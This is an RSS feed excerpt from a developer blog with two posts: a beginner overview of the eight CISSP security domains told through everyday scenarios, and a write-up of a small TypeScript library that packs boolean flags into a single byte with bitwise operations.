      <guid>https://forem.com/srsoumyax11/the-8-cissp-security-domains-you-probably-dont-think-about-but-should-55l9</guid>
      <description>&lt;p&gt;When people hear “cybersecurity,” they usually think of firewalls, hackers, or antivirus software. What they don’t realize is that security is much bigger than tools. That’s why CISSP breaks security into eight domains — each one representing a real area where things can go wrong if ignored.&lt;/p&gt;

&lt;p&gt;Below is a practical walkthrough of all eight domains, explained with real situations and what role a security professional actually plays.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Security and Risk Management&lt;/strong&gt;&lt;br&gt;
This domain is about understanding what needs protection, why it matters, and what level of risk is acceptable. It covers policies, laws, compliance, ethics, and decision-making at an organizational level.&lt;/p&gt;

&lt;p&gt;Imagine a company planning to outsource part of its operations to a third-party vendor. The vendor asks for access to internal systems. At this point, security is not about blocking everything — it’s about assessing risk. What data will the vendor access? What happens if it’s leaked? What controls should be applied?&lt;/p&gt;

&lt;p&gt;The security professional’s role here is to identify risks, recommend controls, ensure compliance with laws and regulations, and help leadership make informed decisions. This domain sets the foundation for every other security action.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Asset Security&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Asset security focuses on what data exists, where it lives, who owns it, and how it should be protected. Not all data is equal, and treating everything the same creates both security gaps and operational problems.&lt;/p&gt;

&lt;p&gt;Consider an organization that stores customer emails, payment information, and public marketing content. If a developer copies all of it into a shared drive without restrictions, that’s a problem. Sensitive data must be classified, protected, and handled differently from public data.&lt;/p&gt;

&lt;p&gt;In this domain, security teams define data classification levels, control how data is stored and transferred, and ensure sensitive information is encrypted, restricted, and properly disposed of when no longer needed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Security Architecture and Engineering&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This domain deals with designing systems that are secure by default, not patched later. It covers encryption, operating systems, hardware security, and secure design principles.&lt;/p&gt;

&lt;p&gt;For example, when a new application is being built, decisions like where encryption is applied, how secrets are stored, and how services communicate matter a lot. A weak design can make even the best monitoring useless.&lt;/p&gt;

&lt;p&gt;Security professionals in this area review system designs, perform threat modeling, recommend secure architectures, and ensure that security is built into systems from the start — not added after a breach.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Communication and Network Security&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This domain focuses on how data moves — across networks, between systems, and over the internet. It includes network segmentation, secure protocols, firewalls, VPNs, and intrusion detection.&lt;/p&gt;

&lt;p&gt;Imagine an attacker gains access to one machine in a company network. If the network is flat, the attacker can move freely. If it’s segmented and monitored, the damage is limited and detectable.&lt;/p&gt;

&lt;p&gt;Here, security teams design secure network architectures, monitor traffic, detect suspicious activity, and respond to network-based attacks. This domain is critical for limiting blast radius during incidents.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Identity and Access Management (IAM)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;IAM is about who gets access to what, when, and how. It covers authentication, authorization, identity lifecycle, privileged access, and multi-factor authentication.&lt;/p&gt;

&lt;p&gt;A common real-world scenario: an employee leaves the company, but their account is not disabled. Weeks later, that account is used to access internal systems. That’s an IAM failure.&lt;/p&gt;

&lt;p&gt;Security professionals manage user access, enforce least privilege, implement MFA, and ensure accounts are created, modified, and removed properly. Many breaches happen not because of advanced hacking, but because access wasn’t controlled correctly.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Security Assessment and Testing&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This domain ensures that security controls actually work. It includes vulnerability scanning, penetration testing, audits, and continuous testing.&lt;/p&gt;

&lt;p&gt;For example, a vulnerability scan might reveal an exposed admin interface. A penetration test might show how that exposure can be exploited. Without testing, organizations often assume they’re secure when they’re not.&lt;/p&gt;

&lt;p&gt;The security role here is to test systems, validate findings, prioritize fixes, and confirm that vulnerabilities are properly resolved. This domain turns assumptions into evidence.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Security Operations&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Security operations is where the real action happens day to day. It covers monitoring, logging, incident response, forensics, disaster recovery, and business continuity.&lt;/p&gt;

&lt;p&gt;Imagine an alert shows unusual outbound traffic from a server. The priority is not to write reports — it’s to contain the threat, stop data loss, investigate what happened, and recover safely.&lt;/p&gt;

&lt;p&gt;Security professionals in this domain follow incident response plans, analyze logs, coordinate response efforts, and ensure systems can recover after incidents. This domain separates theory from real-world pressure.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Software Development Security&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This domain ensures that applications are built securely, not just protected after deployment. It covers secure coding, code reviews, dependency management, and security in CI/CD pipelines.&lt;/p&gt;

&lt;p&gt;A simple coding mistake like improper input validation can lead to SQL injection or data leaks. If security is part of development, these issues are caught early. If not, they reach production.&lt;/p&gt;

&lt;p&gt;Here, security professionals work closely with developers to integrate security into the development process, run automated tests, review risky code changes, and promote secure coding practices.&lt;/p&gt;

&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;The eight CISSP domains are not just exam topics — they represent how security works in the real world. Every breach, incident, or failure usually touches more than one domain.&lt;/p&gt;

&lt;p&gt;Strong security comes from understanding all eight areas and knowing how they connect. Whether you’re a SOC analyst, engineer, or security leader, these domains help you think clearly, act responsibly, and protect what truly matters: data, systems, and people.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
    </item>
    <item>
      <title>A Boolean Is a Bit — So Why Does It Take a Byte?</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Tue, 13 Jan 2026 17:45:35 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/a-boolean-is-a-bit-so-why-does-it-take-a-byte-1nm9</link>
      <guid>https://forem.com/srsoumyax11/a-boolean-is-a-bit-so-why-does-it-take-a-byte-1nm9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9grkg8k49gzu3ztfhlvb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9grkg8k49gzu3ztfhlvb.png" alt="Image" width="800" height="888"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;In computer science theory, a boolean is the simplest data type: it’s either a 0 or a 1. It represents a single bit of information.&lt;/p&gt;

&lt;p&gt;But in practice, if you declare a boolean variable in almost any high-level programming language—JavaScript, Python, Java—it takes up at least one full byte (8 bits) of memory. Often, due to object overhead and memory alignment, it takes up even more.&lt;/p&gt;

&lt;p&gt;This is a small inefficiency that we usually ignore. Memory is cheap, right? But this discrepancy—between what a boolean &lt;em&gt;is&lt;/em&gt; and how it’s &lt;em&gt;stored&lt;/em&gt;—bugged me. It’s a paradox of modern abstraction: to make things easy to use, we waste 87.5% of the space.&lt;/p&gt;

&lt;p&gt;This small curiosity led me to build &lt;strong&gt;ByteFlags&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Real Problem
&lt;/h2&gt;

&lt;p&gt;Why does this matter? For a simple "ToDo" app, it doesn't.&lt;/p&gt;

&lt;p&gt;But consider a system where state is everywhere.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Feature Flags&lt;/strong&gt;: A user might have &lt;code&gt;isBetaTester&lt;/code&gt;, &lt;code&gt;hasDarkTheme&lt;/code&gt;, &lt;code&gt;emailVerified&lt;/code&gt;, &lt;code&gt;notificationsEnabled&lt;/code&gt;, &lt;code&gt;marketingOptIn&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Game Development&lt;/strong&gt;: An entity has states like &lt;code&gt;isJumping&lt;/code&gt;, &lt;code&gt;isGrounded&lt;/code&gt;, &lt;code&gt;isInvincible&lt;/code&gt;, &lt;code&gt;isDead&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Permissions&lt;/strong&gt;: &lt;code&gt;canRead&lt;/code&gt;, &lt;code&gt;canWrite&lt;/code&gt;, &lt;code&gt;canDelete&lt;/code&gt;, &lt;code&gt;canExecute&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you store these as separate boolean properties on an object, you are scattering these bits across bytes of memory. If you have millions of users or thousands of entities, that wasted space adds up. More importantly, managing unrelated booleans as loose variables can lead to messy code. You end up passing around long lists of arguments or having massive configuration objects.&lt;/p&gt;

&lt;p&gt;I wanted a way to group these related flags into a single, compact unit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Theory vs. Reality
&lt;/h2&gt;

&lt;p&gt;So why do languages do this? Why isn't a boolean just a bit?&lt;/p&gt;

&lt;p&gt;The reality is that computer memory is byte-addressable. The CPU likes to fetch data in chunks—bytes, words (4 bytes), or double words (8 bytes). It doesn't have a direct address for "Bit #3 of Byte #1000".&lt;/p&gt;

&lt;p&gt;To read a distinct bit, the computer has to:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Fetch the whole byte.&lt;/li&gt;
&lt;li&gt;Filter out the other bits (masking).&lt;/li&gt;
&lt;li&gt;Check the result.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is faster to do if the boolean just claims the whole byte for itself. The language designers made a trade-off: &lt;strong&gt;waste memory to save CPU cycles and simplify syntax.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;As engineers, we accept this trade-off most of the time. But sometimes, checking that assumption is where the learning happens.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Idea Behind ByteFlag
&lt;/h2&gt;

&lt;p&gt;I decided to implement the "theory" manually. I wanted to pack up to 8 boolean flags into a single number (one byte, 0-255).&lt;/p&gt;

&lt;p&gt;The concept is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bit 0 represents Flag A&lt;/li&gt;
&lt;li&gt;Bit 1 represents Flag B&lt;/li&gt;
&lt;li&gt;...and so on, up to Bit 7.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If I want flags A and C to be "on", I set the 0th and 2nd bits to &lt;code&gt;1&lt;/code&gt;.&lt;br&gt;
&lt;code&gt;0000 0101&lt;/code&gt; in binary is &lt;code&gt;5&lt;/code&gt; in decimal.&lt;/p&gt;

&lt;p&gt;So instead of storing &lt;code&gt;{ A: true, B: false, C: true }&lt;/code&gt;, I just store the number &lt;code&gt;5&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To make this work, I needed &lt;strong&gt;bitwise operations&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OR (&lt;code&gt;|&lt;/code&gt;)&lt;/strong&gt; to enable a flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AND (&lt;code&gt;&amp;amp;&lt;/code&gt;)&lt;/strong&gt; to check a flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;XOR (&lt;code&gt;^&lt;/code&gt;)&lt;/strong&gt; to toggle a flag.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NOT (&lt;code&gt;~&lt;/code&gt;)&lt;/strong&gt; to disable a flag.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Implementation Overview
&lt;/h2&gt;

&lt;p&gt;While bitwise math is efficient, it’s not readable. No one wants to see &lt;code&gt;if (user.flags &amp;amp; 4)&lt;/code&gt; in production code. You forget what &lt;code&gt;4&lt;/code&gt; means immediately.&lt;/p&gt;

&lt;p&gt;My goal with &lt;code&gt;ByteFlags&lt;/code&gt; was to hide the math behind a clean, human-readable API, while keeping the storage compact.&lt;/p&gt;

&lt;p&gt;I built it in &lt;strong&gt;TypeScript&lt;/strong&gt; to ensure type safety. Here is the high-level design:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Mapping&lt;/strong&gt;: The user provides a map of names to bit positions.&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ByteFlags&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;User&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;Admin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;High-Level API&lt;/strong&gt;: I exposed intuitive methods so you never have to touch a bitwise operator:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;State Management&lt;/strong&gt;:&lt;br&gt;
    *   &lt;code&gt;enable('Admin')&lt;/code&gt; – Sets the bit to 1.&lt;br&gt;
    *   &lt;code&gt;disable('Admin')&lt;/code&gt; – Sets the bit to 0.&lt;br&gt;
    *   &lt;code&gt;toggle('Admin')&lt;/code&gt; – Flips the bit.&lt;br&gt;
    *   &lt;code&gt;reset()&lt;/code&gt; – Clears all flags instantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Querying&lt;/strong&gt;:&lt;br&gt;
    *   &lt;code&gt;isEnabled('User')&lt;/code&gt; – Returns &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Serialization (The "Magic" Part)&lt;/strong&gt;:&lt;br&gt;
    One of the biggest pain points with bits is debugging. I added methods to make the byte human-readable:&lt;br&gt;
    *   &lt;code&gt;toJSON()&lt;/code&gt; – Returns &lt;code&gt;{ User: true, Admin: false }&lt;/code&gt;.&lt;br&gt;
    *   &lt;code&gt;toBinaryString()&lt;/code&gt; – Returns &lt;code&gt;"00000001"&lt;/code&gt;.&lt;br&gt;
    *   &lt;code&gt;toHex()&lt;/code&gt; – Returns &lt;code&gt;"0x01"&lt;/code&gt;.&lt;/p&gt;


&lt;/li&gt;

&lt;/ol&gt;

&lt;p&gt;The complexity of &lt;code&gt;(1 &amp;lt;&amp;lt; index)&lt;/code&gt; is hidden. The developer just sees &lt;code&gt;flags.enable('Admin')&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Building this small library was a reflective process.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Data Representation&lt;/strong&gt;: It forced me to think about how data actually sits in memory. We get so used to JSON and Objects that we forget the underlying zeros and ones.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;The Cost of Abstractions&lt;/strong&gt;: Every convenience in high-level languages has a cost. Usually, it's worth it, but knowing &lt;em&gt;what&lt;/em&gt; you are paying makes you a better engineer.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Tooling&lt;/strong&gt;: Setting up the CI/CD pipeline, publishing to NPM, and generating documentation took more time than the code itself. "Finished" code is only 20% of a shipping product.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;ByteFlags&lt;/code&gt; isn't going to replace your database or revolutionize your tech stack. It’s a micro-optimization.&lt;/p&gt;

&lt;p&gt;But working on it reminded me that great engineering isn't always about building massive systems. Sometimes, it's about looking at the smallest unit of data—a boolean—and asking, "Why is this the way it is?"&lt;/p&gt;

&lt;p&gt;If you are curious about bitwise operations or just want a tiny library to manage states, check out the code. It’s simple, readable, and does exactly one thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Repository Link
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/Soumyaranjan-17/ByteFlag" rel="noopener noreferrer"&gt;https://github.com/Soumyaranjan-17/ByteFlag&lt;/a&gt;&lt;/p&gt;

</description>
      <category>computerscience</category>
      <category>discuss</category>
      <category>performance</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
